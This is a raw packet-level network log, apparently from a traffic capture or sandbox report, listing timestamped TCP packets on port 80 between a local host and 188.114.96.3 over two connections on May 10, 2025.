May 10, 2025 08:05:40.167246103 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.167248964 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167264938 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167284966 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167300940 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167315006 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167337894 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167368889 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167404890 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.167417049 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.167514086 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.311902046 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.311959028 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.311992884 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312026024 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312058926 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312088966 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312119961 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312151909 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312186003 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312197924 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312217951 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312249899 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312314987 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312349081 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312352896 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312381983 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312416077 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312421083 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312448978 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312478065 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312480927 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312520027 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312541962 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312551975 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312586069 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312586069 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312618017 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312619925 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312650919 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312683105 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312691927 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312733889 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312814951 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312861919 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312865973 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312900066 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312922955 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.312932968 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312964916 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312997103 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.312999010 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.313030005 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.313040018 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.313110113 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458208084 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458272934 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458307028 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458339930 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458372116 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458405018 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458437920 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458466053 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458468914 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458501101 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458528996 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458534002 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458548069 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458570004 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458589077 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458602905 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458620071 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458636045 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458655119 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458667994 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458686113 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458699942 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458723068 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458734035 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458749056 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458767891 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458784103 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458801031 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458822012 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458833933 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458863974 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458865881 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458892107 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458899021 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458911896 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458931923 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458949089 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458964109 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.458987951 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.458996058 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459023952 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459028959 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459062099 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459062099 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459089994 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459096909 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459120989 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459129095 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459153891 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459162951 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459187031 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459197998 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459229946 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459230900 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459265947 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459270954 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459297895 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459304094 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459331036 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459362030 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459393024 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459424973 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459455013 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459486008 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459517956 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459547997 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459577084 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459606886 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459639072 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459671021 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459702015 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459733963 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459765911 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459796906 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459826946 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459856987 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459887981 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459893942 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459919930 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.459934950 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.459970951 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604149103 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604204893 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604238033 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604300976 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604306936 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604332924 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604365110 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604398012 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604430914 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604434013 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604461908 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604473114 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604496002 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604517937 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604528904 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604556084 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604563951 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604595900 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604598999 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604628086 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604645014 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604660034 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604669094 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604692936 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604723930 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604727030 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604758024 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604762077 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604789972 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604820967 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604850054 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604855061 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604887962 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604919910 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604921103 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604952097 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.604953051 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.604985952 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605012894 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605015993 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605046988 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605060101 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605077982 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605104923 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605110884 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605143070 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605175018 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605180979 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605210066 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605220079 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605242014 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605272055 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605284929 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605284929 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605304956 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605314016 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605336905 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605365992 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605366945 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605400085 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605403900 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605432987 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605458021 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605463982 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605496883 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605499983 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605530024 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605557919 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605567932 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605602026 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605632067 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605633974 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605659962 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605663061 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605695009 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605715990 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605725050 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605758905 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605761051 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605792999 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605823994 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605825901 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605853081 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605855942 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605887890 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605916023 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605918884 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605947971 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.605950117 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.605983019 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606009960 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.606014013 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606045961 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606077909 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:40.606077909 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606111050 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606142998 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606173992 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606204987 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606235981 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606266975 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606297016 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606327057 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606357098 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606385946 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606416941 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606448889 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606478930 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606509924 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606539965 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606570005 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606600046 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606631041 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606661081 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606698036 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606728077 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606761932 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606791973 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.606822014 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.748903990 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749663115 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749699116 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749752998 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749789953 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749820948 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749855042 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749887943 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749921083 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749954939 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.749984980 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750015974 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750046015 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750077009 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750108004 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750138044 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750171900 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750202894 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750235081 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750267029 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750299931 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750330925 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750360966 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750394106 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750426054 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750458002 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750490904 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750521898 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750551939 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750581980 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750614882 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750644922 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750679970 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750710011 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750741959 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750772953 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750803947 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750834942 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750865936 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750896931 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750926971 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750957012 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.750988007 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751023054 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751054049 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751084089 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751113892 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751144886 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751176119 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751204967 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751236916 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751267910 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751297951 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751327991 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:40.751359940 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:41.758254051 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:41.758316994 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:41.758387089 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:41.784435034 CEST	49726	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:41.925437927 CEST	80	49726	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.564760923 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.705861092 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.706057072 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.706265926 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847354889 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847412109 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847440004 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847474098 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847476006 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847520113 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847537994 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847553015 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847573042 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847585917 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847614050 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847619057 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847637892 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847651958 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847671032 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847683907 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847697973 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847719908 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.847738981 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.847773075 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.989051104 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989077091 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989092112 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989106894 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989120007 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989134073 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989141941 CEST	49727	80	192.168.2.4	188.114.96.3
May 10, 2025 08:05:43.989149094 CEST	80	49727	188.114.96.3	192.168.2.4
May 10, 2025 08:05:43.989162922 CEST	80	49727	188.114.96.3	192.168.2.4
